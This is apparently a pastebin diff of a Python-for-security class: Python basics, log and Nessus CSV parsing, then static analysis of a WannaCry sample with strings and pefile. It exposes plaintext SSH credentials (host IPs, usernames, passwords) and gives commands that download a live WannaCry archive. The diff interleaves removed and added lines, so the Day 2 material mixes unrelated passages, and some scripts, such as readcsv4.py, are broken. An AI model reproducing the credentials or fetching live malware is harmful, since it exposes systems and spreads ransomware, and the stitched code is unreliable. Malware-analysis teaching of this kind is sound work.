SHOW:
|
|
- or go back to the newest paste.
1 | I often get asked how I did it. How did I learn Python without having been a computer science major, without having gone to college, and for that matter not actually learning to program until I had been in the field for 8 years. Here is what I did. | |
2 | ||
3 | ||
4 | Step 1: Watch and do the newboston Python video series twice | |
5 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA | |
6 | ||
7 | ||
8 | Step 2: Watch and do the Google Python workshop twice | |
9 | https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl | |
10 | ||
11 | ||
12 | Step 3: Download all of the Python tools from PacketStorm and analyze the source code | |
13 | https://packetstormsecurity.com/files/tags/python | |
14 | ||
15 | ||
16 | Here is the code from Packet Storm | |
17 | https://drive.google.com/file/d/1oWW2oDU1ZE7ulEop-Eye3lAWYf6hDAMx/view?usp=sharing | |
18 | ||
19 | I went through almost every single file and looked up the code that I didn't understand. | |
20 | I also asked programmers to help me understand the lines of code that didn't make sense. | |
21 | In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment, | |
22 | and explain the tool to me. | |
23 | ||
24 | Here is what I got out of doing that: | |
25 | https://drive.google.com/file/d/1bS-iFvA64cjls4A7MPHrhJEKZlCEqqMy/view?usp=sharing | |
26 | ||
27 | ||
28 | ||
29 | Distilled that into this: | |
30 | https://drive.google.com/file/d/1IiIaDGlN66Wcd3vwDuMs_ETHNeHp8O62/view?usp=sharing | |
31 | ||
32 | ||
33 | ||
34 | ||
35 | ############################## | |
36 | ----------- ############### # Day 1: Python Fundamentals # ############### ----------- | |
37 | ############################## | |
38 | ||
39 | ||
40 | ##################### | |
41 | # Installing Python # | |
42 | ##################### | |
43 | Windows | |
44 | ||
45 | https://www.python.org/downloads/ | |
46 | ||
47 | 32-Bit Version | |
48 | https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe | |
49 | - | Host Name: 107.191.39.106 |
49 | + | |
50 | 64-Bit Version | |
51 | https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe | |
52 | - | username: sempra |
52 | + | |
53 | - | password: semprapython3! |
53 | + | |
54 | After you install Python in Windows the next thing you may want to install is IdleX: | |
55 | http://idlex.sourceforge.net/features.html | |
56 | ||
57 | ---------------------------Type This----------------------------------- | |
58 | ||
59 | Linux | |
60 | Debian/Ubuntu: sudo apt-get install -y python | |
61 | RHEL/CentOS/Fedora: sudo yum install -y python | |
62 | ||
63 | ----------------------------------------------------------------------- | |
64 | ||
65 | ||
66 | After you install Python in Linux the next thing that you will need to do is install idle. | |
67 | ||
68 | ---------------------------Type This----------------------------------- | |
69 | ||
70 | sudo apt-get install -y idle | |
71 | ||
72 | ----------------------------------------------------------------------- | |
73 | ||
74 | Open IDLE, and let's just dive right in. | |
75 | ||
76 | ||
77 | - I prefer to use Putty to SSH into my Linux host. | |
78 | - You can download Putty from here: | |
79 | - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
80 | ||
81 | Here is the information to put into putty | |
82 | ||
83 | Host Name: 149.28.201.171 | |
84 | protocol: ssh | |
85 | port: 22 | |
86 | username: secureninja | |
87 | password: secureninjapython3! | |
88 | ||
89 | ||
90 | #################################### | |
91 | # Python Lesson 1: Simple Printing # | |
92 | #################################### | |
93 | ||
94 | ---------------------------Type This----------------------------------- | |
95 | $ python3 | |
96 | ||
97 | >>> print ("Today we are learning Python.") | |
98 | ||
99 | >>> exit() | |
100 | ----------------------------------------------------------------------- | |
101 | ||
102 | ||
103 | ||
104 | ||
105 | ############################################ | |
106 | # Python Lesson 2: Simple Numbers and Math # | |
107 | ############################################ | |
108 | ||
109 | ---------------------------Type This----------------------------------- | |
110 | $ python3 | |
111 | ||
112 | >>> 2+2 | |
113 | ||
114 | >>> 6-3 | |
115 | ||
116 | >>> 18/7 | |
117 | ||
118 | >>> 18.0/7 | |
119 | ||
120 | >>> 18.0/7.0 | |
121 | ||
122 | >>> 18/7 | |
123 | ||
124 | >>> 9%4 | |
125 | 1 | |
126 | >>> 8%4 | |
127 | 0 | |
128 | >>> 8.75%.5 | |
129 | ||
130 | >>> 6.*7 | |
131 | ||
132 | >>> 7*7*7 | |
133 | ||
134 | >>> 7**3 | |
135 | ||
136 | >>> 5**12 | |
137 | ||
138 | >>> -5**4 | |
139 | ||
140 | >>> exit() | |
141 | ||
142 | ----------------------------------------------------------------------- | |
143 | ||
144 | ||
145 | ||
146 | ############################## | |
147 | # Python Lesson 3: Variables # | |
148 | ############################## | |
149 | ||
150 | ---------------------------Type This----------------------------------- | |
151 | $ python3 | |
152 | ||
153 | >>> x=18 | |
154 | ||
155 | >>> x+15 | |
156 | ||
157 | >>> x**3 | |
158 | ||
159 | >>> y=54 | |
160 | ||
161 | >>> g=int(input("Enter number here: ")) | |
162 | Enter number here: 43 | |
163 | >>> g | |
164 | ||
165 | >>> g+32 | |
166 | ||
167 | >>> g**3 | |
168 | ||
169 | >>> exit() | |
170 | ||
171 | ----------------------------------------------------------------------- | |
172 | ||
173 | ||
174 | ||
175 | ||
176 | ||
177 | ########################################## | |
178 | # Python Lesson 4: Modules and Functions # | |
179 | ########################################## | |
180 | ||
181 | ---------------------------Type This----------------------------------- | |
182 | $ python3 | |
183 | ||
184 | >>> 5**4 | |
185 | ||
186 | >>> pow(5,4) | |
187 | ||
188 | >>> abs(-18) | |
189 | ||
190 | >>> abs(5) | |
191 | ||
192 | >>> floor(18.7) | |
193 | ||
194 | >>> import math | |
195 | ||
196 | >>> math.floor(18.7) | |
197 | ||
198 | >>> math.ceil(18.7) | |
199 | ||
200 | >>> math.sqrt(81) | |
201 | ||
202 | >>> joe = math.sqrt | |
203 | ||
204 | >>> joe(9) | |
205 | ||
206 | >>> joe=math.floor | |
207 | ||
208 | >>> joe(19.8) | |
209 | ||
210 | >>> exit() | |
211 | ||
212 | ----------------------------------------------------------------------- | |
213 | ||
214 | ||
215 | ||
216 | ############################ | |
217 | # Python Lesson 5: Strings # | |
218 | ############################ | |
219 | ||
220 | ---------------------------Type This----------------------------------- | |
221 | $ python3 | |
222 | ||
223 | >>> "XSS" | |
224 | ||
225 | >>> 'SQLi' | |
226 | ||
227 | >>> "Joe's a python lover" | |
228 | ||
229 | >>> "Joe said \"InfoSec is fun\" to me" | |
230 | ||
231 | >>> a = "Joe" | |
232 | ||
233 | >>> b = "McCray" | |
234 | ||
235 | >>> a, b | |
236 | ||
237 | >>> a+b | |
238 | ||
239 | >>> exit() | |
240 | ----------------------------------------------------------------------- | |
241 | ||
242 | ||
243 | ||
244 | ||
245 | ||
246 | ################################# | |
247 | # Python Lesson 6: More Strings # | |
248 | ################################# | |
249 | ||
250 | ---------------------------Type This----------------------------------- | |
251 | $ python3 | |
252 | ||
253 | >>> num = 10 | |
254 | ||
255 | >>> num + 2 | |
256 | ||
257 | >>> "The number of open ports found on this system is ", num | |
258 | ||
259 | >>> num = str(18) | |
260 | ||
261 | >>> "There are ", num, " vulnerabilities found in this environment." | |
262 | ||
263 | >>> num2 = 46 | |
264 | ||
265 | >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2 | |
266 | ||
267 | >>> exit() | |
268 | ----------------------------------------------------------------------- | |
269 | ||
270 | ||
271 | ||
272 | ||
273 | ||
274 | ######################################## | |
275 | # Python Lesson 7: Sequences and Lists # | |
276 | ######################################## | |
277 | ||
278 | ---------------------------Type This----------------------------------- | |
279 | $ python3 | |
280 | ||
281 | >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
282 | ||
283 | >>> attacks | |
284 | ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
285 | ||
286 | >>> attacks[3] | |
287 | 'SQL Injection' | |
288 | ||
289 | >>> attacks[-2] | |
290 | 'Cross-Site Scripting' | |
291 | ||
292 | >>> exit() | |
293 | ||
294 | ||
295 | ||
296 | ------------------------------- Summary of fundamentals ------------------------------- | |
297 | ||
298 | ||
299 | Joe rule #1 single quote, single quote, left arrow | |
300 | -------------------------------------------------- | |
301 | '' <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
302 | "" <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
303 | something() <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
304 | something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
305 | something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
306 | ||
307 | -- Now kick it up a notch | |
308 | [] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
309 | [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
310 | [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
311 | [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
312 | [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
313 | ||
314 | ||
315 | ||
316 | Joe rule #2 "Code can only do 3 things" | |
317 | -------------------------------------- | |
318 | ||
319 | Process - read, write, math | |
320 | ||
321 | Decision - if/then | |
322 | ||
323 | Loop - for | |
324 | ||
325 | ||
326 | ||
327 | ||
328 | Joe rule #3 "Never more than 5-10" | |
329 | --------------------------------- | |
330 | ||
331 | -----5 lines of code---- | |
332 | line 1 blah blah blah | |
333 | line 2 blah blah blah | |
334 | line 3 blah blah blah | |
335 | line 4 blah blah blah | |
336 | line 5 blah blah blah | |
337 | ||
338 | ||
339 | sales_tax = price * tax_rate | |
340 | ||
341 | ||
342 | 0.80 = 10 * 0.08 | |
343 | ||
344 | -----5-10 lines of code---- = function | |
345 | price = 10 | |
346 | ||
347 | def st(): | |
348 | sales_tax = price * 0.08 | |
349 | print(sales_tax) | |
350 | ||
351 | ||
352 | st(10) <---- how to run a function | |
353 | ||
354 | -----5-10 functions ---- = class "tax class" | |
355 | st() | |
356 | lt() | |
357 | pt() | |
358 | it() | |
359 | dt() | |
360 | ||
361 | ||
362 | ||
363 | tax.st() | |
364 | tax.lt() | |
365 | ||
366 | -----5-10 functions ---- = class "expense class" | |
367 | gas() | |
368 | elec() | |
369 | water() | |
370 | food() | |
371 | beer() | |
372 | ||
373 | expense.gas() | |
374 | ||
375 | ||
376 | -----5-10 classes ---- = module "finance module" | |
377 | ||
378 | import finance | |
379 | ||
380 | ||
381 | ------------------------------- Summary of fundamentals ------------------------------- | |
382 | ||
383 | ################################## | |
384 | # Lesson 8: Intro to Log Analysis # | |
385 | ################################## | |
386 | ||
387 | ||
388 | Log into your Linux host then execute the following commands: | |
389 | ----------------------------------------------------------------------- | |
390 | NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt. | |
391 | ||
392 | ||
393 | ||
394 | ---------------------------Type This----------------------------------- | |
395 | mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname | |
396 | ||
397 | cd yourname | |
398 | ||
399 | wget http://pastebin.com/raw/85zZ5TZX | |
400 | ||
401 | mv 85zZ5TZX access_log | |
402 | ||
403 | ||
404 | cat access_log | grep 141.101.80.188 | |
405 | ||
406 | cat access_log | grep 141.101.80.188 | wc -l | |
407 | ||
408 | cat access_log | grep 141.101.80.187 | |
409 | ||
410 | cat access_log | grep 141.101.80.187 | wc -l | |
411 | ||
412 | cat access_log | grep 108.162.216.204 | |
413 | ||
414 | cat access_log | grep 108.162.216.204 | wc -l | |
415 | ||
416 | cat access_log | grep 173.245.53.160 | |
417 | ||
418 | cat access_log | grep 173.245.53.160 | wc -l | |
419 | ||
420 | ---------------------------------------------------------------------- | |
421 | ||
422 | ||
423 | ||
424 | ||
425 | ||
426 | ||
427 | ||
428 | ############################################################### | |
429 | # Python Lesson 9: Use Python to read in a file line by line # | |
430 | ############################################################### | |
431 | ||
432 | ||
433 | ---------------------------Type This----------------------------------- | |
434 | ||
435 | nano logread1.py | |
436 | ||
437 | ||
438 | ---------------------------Paste This----------------------------------- | |
439 | ## Open the file with read only permit | |
440 | f = open('access_log', "r") | |
441 | ||
442 | ## use readlines to read all lines in the file | |
443 | ## The variable "lines" is a list containing all lines | |
444 | lines = f.readlines() | |
445 | ||
446 | print (lines) | |
447 | ||
448 | ||
449 | ## close the file after reading the lines. | |
450 | f.close() | |
451 | ||
452 | ---------------------------------------------------------------------- | |
453 | ||
454 | ||
455 | ||
456 | ||
457 | ---------------------------Type This----------------------------------- | |
458 | $ python3 logread1.py | |
459 | ---------------------------------------------------------------------- | |
460 | ||
461 | ||
462 | ||
463 | Google the following: | |
464 | - python difference between readlines and readline | |
465 | - python readlines and readline | |
466 | ||
467 | ||
468 | Here is one student's solution - can you please explain each line of this code to me? | |
469 | ||
470 | ||
471 | ---------------------------Type This----------------------------------- | |
472 | nano ip_search.py | |
473 | ||
474 | ||
475 | ---------------------------Paste This----------------------------------- | |
476 | #!/usr/bin/env python3 | |
477 | ||
478 | f = open('access_log') | |
479 | ||
480 | strUsrinput = input("Enter IP Address: ") | |
481 | ||
482 | for line in iter(f): | |
483 | ip = line.split(" - ")[0] | |
484 | if ip == strUsrinput: | |
485 | print (line) | |
486 | ||
487 | f.close() | |
488 | ||
489 | ||
490 | ---------------------------------------------------------------------- | |
491 | ||
492 | ||
493 | ||
494 | ||
495 | ---------------------------Type This----------------------------------- | |
496 | $ python3 ip_search.py | |
497 | ---------------------------------------------------------------------- | |
498 | ||
499 | ||
500 | ||
501 | Working with another student after class we came up with another solution: | |
502 | ||
503 | ---------------------------Type This----------------------------------- | |
504 | nano ip_search2.py | |
505 | ||
506 | ---------------------------Paste This----------------------------------- | |
507 | #!/usr/bin/env python3 | |
508 | ||
509 | ||
510 | # This line opens the log file | |
511 | f=open('access_log',"r") | |
512 | ||
513 | # This line takes each line in the log file and stores it as an element in the list | |
514 | lines = f.readlines() | |
515 | ||
516 | ||
517 | # This lines stores the IP that the user types as a var called userinput | |
518 | userinput = input("Enter the IP you want to search for: ") | |
519 | ||
520 | ||
521 | ||
522 | # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found. | |
523 | for ip in lines: | |
524 | if ip.find(userinput) != -1: | |
525 | print (ip) | |
526 | ||
527 | ---------------------------------------------------------------------- | |
528 | ||
529 | ||
530 | ||
531 | ---------------------------Type This----------------------------------- | |
532 | $ python3 ip_search2.py | |
533 | ---------------------------------------------------------------------- | |
534 | ||
535 | ||
536 | ################################ | |
537 | # Lesson 10: Parsing CSV Files # | |
538 | ################################ | |
539 | ||
540 | Type the following commands: | |
541 | --------------------------------------------------------------------------------------------------------- | |
542 | ||
543 | ---------------------------Type This----------------------------------- | |
544 | ||
545 | wget http://45.63.104.73/class_nessus.csv | |
546 | ||
547 | ---------------------------------------------------------------------- | |
548 | ||
549 | Example 1 - Reading CSV files | |
550 | ----------------------------- | |
551 | #To be able to read csv formated files, we will first have to import the | |
552 | #csv module. | |
553 | ||
554 | ||
555 | ---------------------------Type This----------------------------------- | |
556 | $ python3 | |
557 | f = open('class_nessus.csv', 'r') | |
558 | for row in f: | |
559 | print (row) | |
560 | ||
561 | ||
562 | ---------------------------------------------------------------------- | |
563 | ||
564 | ||
565 | ||
566 | Example 2 - Reading CSV files | |
567 | ----------------------------- | |
568 | ||
569 | ---------------------------Type This----------------------------------- | |
570 | ||
571 | nano readcsv.py | |
572 | ||
573 | ---------------------------Paste This----------------------------------- | |
574 | #!/usr/bin/env python3 | |
575 | f = open('class_nessus.csv', 'r') # opens the csv file | |
576 | try: | |
577 | for row in f: # iterates the rows of the file in orders | |
578 | print (row) # prints each row | |
579 | finally: | |
580 | f.close() # closing | |
581 | ||
582 | ||
583 | ||
584 | ---------------------------------------------------------------------- | |
585 | ||
586 | ||
587 | ||
588 | Ok, now let's run this thing. | |
589 | ||
590 | --------------------------Type This----------------------------------- | |
591 | $ python3 readcsv.py | |
592 | ||
593 | ---------------------------------------------------------------------- | |
594 | ||
595 | ||
596 | ||
597 | ||
598 | Example 3 - - Reading CSV files | |
599 | ------------------------------- | |
600 | ||
601 | ---------------------------Type This----------------------------------- | |
602 | ||
603 | nano readcsv2.py | |
604 | ||
605 | ---------------------------Paste This----------------------------------- | |
606 | #!/usr/bin/python3 | |
607 | # This program will then read it and displays its contents. | |
608 | ||
609 | import csv | |
610 | ||
611 | ifile = open('class_nessus.csv', "r") | |
612 | reader = csv.reader(ifile) | |
613 | ||
614 | rownum = 0 | |
615 | for row in reader: | |
616 | # Save header row. | |
617 | if rownum == 0: | |
618 | header = row | |
619 | else: | |
620 | colnum = 0 | |
621 | for col in row: | |
622 | print ('%-8s: %s' % (header[colnum], col)) | |
623 | colnum += 1 | |
624 | ||
625 | rownum += 1 | |
626 | ||
627 | ifile.close() | |
628 | ||
629 | ||
630 | ||
631 | ---------------------------------------------------------------------- | |
632 | ||
633 | ||
634 | ||
635 | ---------------------------Type This----------------------------------- | |
636 | ||
637 | $ python3 readcsv2.py | less | |
638 | ||
639 | ||
640 | ---------------------------------------------------------------------- | |
641 | ||
642 | ||
643 | ||
644 | ||
645 | ||
646 | ||
647 | ||
648 | ||
649 | ||
650 | ---------------------------Type This----------------------------------- | |
651 | ||
652 | nano readcsv3.py | |
653 | ||
654 | ---------------------------Paste This----------------------------------- | |
655 | #!/usr/bin/python3 | |
656 | import csv | |
657 | f = open('class_nessus.csv', 'r') | |
658 | try: | |
659 | rownum = 0 | |
660 | reader = csv.reader(f) | |
661 | for row in reader: | |
662 | #Save header row. | |
663 | if rownum == 0: | |
664 | header = row | |
665 | else: | |
666 | colnum = 0 | |
667 | if row[3].lower() == 'high': | |
668 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
669 | rownum += 1 | |
670 | finally: | |
671 | f.close() | |
672 | ||
673 | ----------------------------------------------------------------------- | |
674 | ||
675 | ||
676 | ---------------------------Type This----------------------------------- | |
677 | ||
678 | $ python3 readcsv3.py | less | |
679 | ----------------------------------------------------------------------- | |
680 | ||
681 | ||
682 | ||
683 | ---------------------------Type This----------------------------------- | |
684 | ||
685 | nano readcsv4.py | |
686 | ----------------------------------------------------------------------- | |
687 | ||
688 | ---------------------------Paste This----------------------------------- | |
689 | ||
690 | #!/usr/bin/python3 | |
691 | import csv | |
692 | f = open('class_nessus.csv', 'r') | |
693 | - | Host Name: 107.191.39.106 |
693 | + | |
694 | print ('/---------------------------------------------------/') | |
695 | rownum = 0 | |
696 | - | username: sempra |
696 | + | |
697 | - | password: semprapython3! |
697 | + | |
698 | for row in reader: | |
699 | # Save header row. | |
700 | if rownum == 0: | |
701 | header = row | |
702 | else: | |
703 | colnum = 0 | |
704 | if row[3].lower() == 'high' and row[4] not in hosts: | |
705 | hosts[row[4]] = row[4] | |
706 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
707 | rownum += 1 | |
708 | finally: | |
709 | f.close() | |
710 | ---------------------------------------------------------------------- | |
711 | ||
712 | ||
713 | ||
714 | $ python3 readcsv4.py | less | |
715 | ||
716 | ---------------------------------------------------------------------- | |
717 | ||
718 | ||
719 | ||
720 | ||
721 | ||
722 | ||
723 | ||
724 | ####################################### | |
725 | ----------- ############### # Day 2: Malware analysis with Python # ############### ----------- | |
726 | ####################################### | |
727 | Here is the information to put into putty | |
728 | ||
729 | Host Name: 149.28.201.171 | |
730 | protocol: ssh | |
731 | port: 22 | |
732 | username: secureninja | |
733 | - | pe info wannacry.exe |
733 | + | password: secureninjapython3! |
734 | - | pe check wannacry.exe |
734 | + | |
735 | - | pe dump --section text wannacry.exe |
735 | + | |
736 | - | pe dump --section data wannacry.exe |
736 | + | |
737 | - | pe dump --section rsrc wannacry.exe |
737 | + | |
738 | - | pe dump --section reloc wannacry.exe |
738 | + | mkdir ~/yourname |
739 | - | strings rdata | less |
739 | + | |
740 | - | strings rsrc | less |
740 | + | |
741 | - | strings text | less |
741 | + | |
742 | wget http://45.63.104.73/wannacry.zip | |
743 | ||
744 | unzip wannacry.zip | |
745 | - | # How do we do this with Python3 # |
745 | + | **** password is infected *** |
746 | ||
747 | file wannacry.exe | |
748 | - | Reference page: |
748 | + | |
749 | - | https://axcheron.github.io/pe-format-manipulation-with-pefile/ |
749 | + | |
750 | ||
751 | strings wannacry.exe | |
752 | ||
753 | strings --all wannacry.exe | head -n 6 | |
754 | - | python3 |
754 | + | |
755 | - | import pefile |
755 | + | |
756 | ||
757 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
757 | + | |
758 | ||
759 | strings wannacry.exe | grep -i reg | |
760 | - | pe = pefile.PE(exe_path) |
760 | + | |
761 | - | # This is also a valid function call |
761 | + | |
762 | - | # pe = pefile.PE(name=exe_path) |
762 | + | |
763 | - | except OSError as e: |
763 | + | |
764 | - | print(e) |
764 | + | |
765 | - | except pefile.PEFormatError as e: |
765 | + | |
766 | - | print("[-] PEFormatError: %s" % e.value) |
766 | + | |
767 | strings wannacry.exe | grep -i get | |
768 | ||
769 | strings wannacry.exe | grep -i mutex | |
770 | ||
771 | - | It’s also possible to parse raw PE data by using data as parameter. |
771 | + | |
772 | ||
773 | - | import pefile |
773 | + | |
774 | - | import mmap |
774 | + | |
775 | strings wannacry.exe | grep -i admin | |
776 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
776 | + | |
777 | strings wannacry.exe | grep -i list | |
778 | ||
779 | - | fd = open(exe_path, 'rb') # Map the executable in memory |
779 | + | |
780 | - | pe_data = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_READ) |
780 | + | |
781 | ------------------------------------------------------------------------------------------- | |
782 | ||
783 | - | pe = pefile.PE(data=pe_data) # Parse the data contained in the buffer |
783 | + | |
784 | Indicators of Compromise (IoC) | |
785 | ----------------------------- | |
786 | ||
787 | 1. Modify the filesystem | |
788 | 2. Modify the registry - ADVAPI32.dll (persistance) | |
789 | 3. Modify processes/services | |
790 | 4. Connect to the network - WS2_32.dll | |
791 | ||
792 | - | import pefile |
792 | + | |
793 | ||
794 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
794 | + | |
795 | ||
796 | - | pe = pefile.PE(exe_path, fast_load=True) |
796 | + | |
797 | ||
798 | - | # Then you can call the following method later in your code |
798 | + | |
799 | - | pe.full_load() |
799 | + | |
800 | ||
801 | ||
802 | 1. Static Analysis <----------------------------------------- Cloud based static analysis | |
803 | Learn everything I can without actually running the file | |
804 | - | Reading the Header Members |
804 | + | |
805 | - | Once the executable is successfully parsed, the data is readily available as attributes of the PE instance. Let’s read the following attributes: |
805 | + | |
806 | - Modify processes/services | |
807 | - | e_magic or IMAGE_DOS_HEADER. It should be equal to 0x5A4D (MZ) |
807 | + | |
808 | - | signature or IMAGE_NT_HEADERS. It should be equal to 0x4550 (PE) |
808 | + | |
809 | ||
810 | - | import pefile |
810 | + | |
811 | 2. Dynamic Analysis | |
812 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
812 | + | |
813 | - | pe = pefile.PE(exe_path) |
813 | + | |
814 | ################ | |
815 | - | print("[*] e_magic value: %s" % hex(pe.DOS_HEADER.e_magic)) |
815 | + | |
816 | - | print("[*] Signature value: %s" % hex(pe.NT_HEADERS.Signature)) |
816 | + | |
817 | You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts). | |
818 | ||
819 | ||
820 | The fastest thing you can do is perform static analysis. | |
821 | ||
822 | - | If you want to enemuerate each members of a specific structure, like DOS_HEADER, it can easily be done by using a for loop. |
822 | + | |
823 | ||
824 | - | import pefile |
824 | + | |
825 | ################### | |
826 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
826 | + | |
827 | - | pe = pefile.PE(exe_path) |
827 | + | |
828 | ||
829 | - | print("[*] Listing DOS_HEADER fields...") |
829 | + | |
830 | - | for keys in pe.DOS_HEADER.__keys__: |
830 | + | |
831 | - | for field in keys: |
831 | + | |
832 | - | print('\t' + field) |
832 | + | |
833 | ||
834 | wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
835 | ||
836 | ||
837 | ||
838 | wget http://45.63.104.73/wannacry.zip | |
839 | - | You can also diplay the full content of a structure by using the dump() method. It will returns a string representation of the structure. |
839 | + | |
840 | unzip wannacry.zip | |
841 | - | import pefile |
841 | + | |
842 | ||
843 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
843 | + | |
844 | - | pe = pefile.PE(exe_path) |
844 | + | |
845 | cp wannacry.exe malware.pdf | |
846 | - | for field in pe.DOS_HEADER.dump(): |
846 | + | |
847 | - | print(field) |
847 | + | |
848 | ||
849 | mv malware.pdf wannacry.exe | |
850 | ||
851 | hexdump -n 2 -C wannacry.exe | |
852 | - | Data Directories |
852 | + | |
853 | - | Now, we will list the Data Directories. Those directories contains address/size pairs for special tables that are found in the image file and are used by the operating system (for example, the import table and the export table). We can find the number of Data Directories in NumberOfRvaAndSizes located in the Optional Header struture. |
853 | + | |
854 | ||
855 | - | import pefile |
855 | + | |
856 | ||
857 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
857 | + | |
858 | - | pe = pefile.PE(exe_path) |
858 | + | |
859 | http://www.garykessler.net/library/file_sigs.html | |
860 | - | print("[*] Number of data directories = %d" % pe.OPTIONAL_HEADER.NumberOfRvaAndSizes) |
860 | + | |
861 | - | for data_directory in pe.OPTIONAL_HEADER.DATA_DIRECTORY: |
861 | + | |
862 | - | print('\t' + data_directory.name) |
862 | + | |
863 | ---------------------------Type This----------------------------------- | |
864 | ||
865 | ||
866 | objdump -x wannacry.exe | |
867 | ||
868 | - | You can also display the address/size pairs of each of them: |
868 | + | |
869 | ||
870 | - | import pefile |
870 | + | |
871 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
871 | + | |
872 | - | pe = pefile.PE(exe_path) |
872 | + | |
873 | ||
874 | - | for data_dir in pe.OPTIONAL_HEADER.DATA_DIRECTORY: |
874 | + | |
875 | - | print(data_dir) |
875 | + | |
876 | strings wannacry.exe | grep -i reg | |
877 | ||
878 | strings wannacry.exe | grep -i key | |
879 | ||
880 | strings wannacry.exe | grep -i rsa | |
881 | - | Listing the Symbols |
881 | + | |
882 | - | Imports |
882 | + | |
883 | - | To list the imported DLLs by the executable, we can iterate through the data directory DIRECTORY_ENTRY_IMPORT |
883 | + | |
884 | strings wannacry.exe | grep -i get | |
885 | - | import pefile |
885 | + | |
886 | strings wannacry.exe | grep -i mutex | |
887 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
887 | + | |
888 | - | pe = pefile.PE(exe_path) |
888 | + | |
889 | ||
890 | - | print("[*] Listing imported DLLs...") |
890 | + | |
891 | - | for entry in pe.DIRECTORY_ENTRY_IMPORT: |
891 | + | |
892 | - | print('\t' + entry.dll.decode('utf-8')) |
892 | + | |
893 | ||
894 | strings wannacry.exe | grep -i list | |
895 | ||
896 | ||
897 | ||
898 | ----------------------------------------------------------------------- | |
899 | - | Then, we can list each imported function in a specific DLL, for example, kernel32.dll. |
899 | + | |
900 | ||
901 | - | import pefile |
901 | + | |
902 | ||
903 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
903 | + | |
904 | - | pe = pefile.PE(exe_path) |
904 | + | |
905 | ||
906 | - | for entry in pe.DIRECTORY_ENTRY_IMPORT: |
906 | + | |
907 | - | dll_name = entry.dll.decode('utf-8') |
907 | + | |
908 | - | if dll_name == "KERNEL32.dll": |
908 | + | |
909 | - | print("[*] Kernel32.dll imports:") |
909 | + | |
910 | - | for func in entry.imports: |
910 | + | |
911 | - | print("\t%s at 0x%08x" % (func.name.decode('utf-8'), func.address)) |
911 | + | Reference 1: |
912 | http://45.63.104.73/analyse_malware.py | |
913 | ||
914 | This is a really good script for the basics of static analysis | |
915 | ||
916 | - | Listing the Sections |
916 | + | |
917 | - | Sections are added to a list accesible as the attribute sections in the PE instance. The common structure members of the section header are reachable as attributes. |
917 | + | |
918 | ||
919 | - | import pefile |
919 | + | |
920 | This is really good for showing some good signatures to add to the Python script | |
921 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
921 | + | |
922 | - | pe = pefile.PE(exe_path) |
922 | + | |
923 | Here is my own script using the signatures (started this yesterday, but still needs work): | |
924 | - | for section in pe.sections: |
924 | + | |
925 | - | print(section.Name.decode('utf-8')) |
925 | + | |
926 | - | print("\tVirtual Address: " + hex(section.VirtualAddress)) |
926 | + | |
927 | - | print("\tVirtual Size: " + hex(section.Misc_VirtualSize)) |
927 | + | |
928 | - | print("\tRaw Size: " + hex(section.SizeOfRawData)) |
928 | + | |
929 | ||
930 | sudo apt install -y python-pefile | |
931 | infosecaddicts | |
932 | ||
933 | - | You can also dump the full content of a section by passing its index to sections |
933 | + | |
934 | ||
935 | - | import pefile |
935 | + | |
936 | ||
937 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
937 | + | |
938 | - | pe = pefile.PE(exe_path) |
938 | + | |
939 | ||
940 | - | print pe.sections[0] |
940 | + | |
941 | nano am.py | |
942 | ||
943 | python am.py wannacry.exe | |
944 | ||
945 | ||
946 | ----------------------------------------------------------------------- | |
947 | - | Modifying the Structures |
947 | + | |
948 | - | One of the most interesting functionality of pefile is editing executables. All values support assignment, so we can easily alter an executable. Let’s rename the .text section as an example: |
948 | + | |
949 | ||
950 | - | import pefile |
950 | + | |
951 | ||
952 | - | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
952 | + | |
